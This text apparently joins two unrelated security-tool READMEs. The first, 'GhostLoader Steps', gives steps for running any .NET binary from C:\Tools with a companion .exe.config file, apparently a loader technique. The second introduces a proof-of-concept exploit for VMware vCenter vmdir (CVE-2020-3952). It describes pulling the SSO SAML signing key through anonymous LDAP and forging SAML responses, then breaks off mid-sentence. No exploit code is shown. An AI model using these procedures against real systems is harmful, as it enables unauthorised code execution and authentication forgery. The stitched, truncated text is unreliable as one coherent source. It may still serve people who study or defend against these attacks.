GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

Exploit for VMware vCenter Directory Service (vmdir) - CVE-2020-3952 / VMSA-2020-0006

This is my proof-of-concept exploit code for the VMware vCenter Directory Service (vmdir) sensitive information disclosure vulnerability (CVE-2020-3952 / VMSA-2020-0006).

It turns out that the vmdir service, which provides an LDAP directory server (and more), allows anonymous LDAP connections (also called LDAP binding) in the ACL MODE: Legacy configuration that is present after upgrading from vCenter 6.5. While the LDAP tree doesn't expose password hashes for administrative users, it does expose the VMware SSO server's SAML identity provider (IdP) certificates and private key. This key can be downloaded and used to sign arbitrary SAML responses, allowing an attacker to
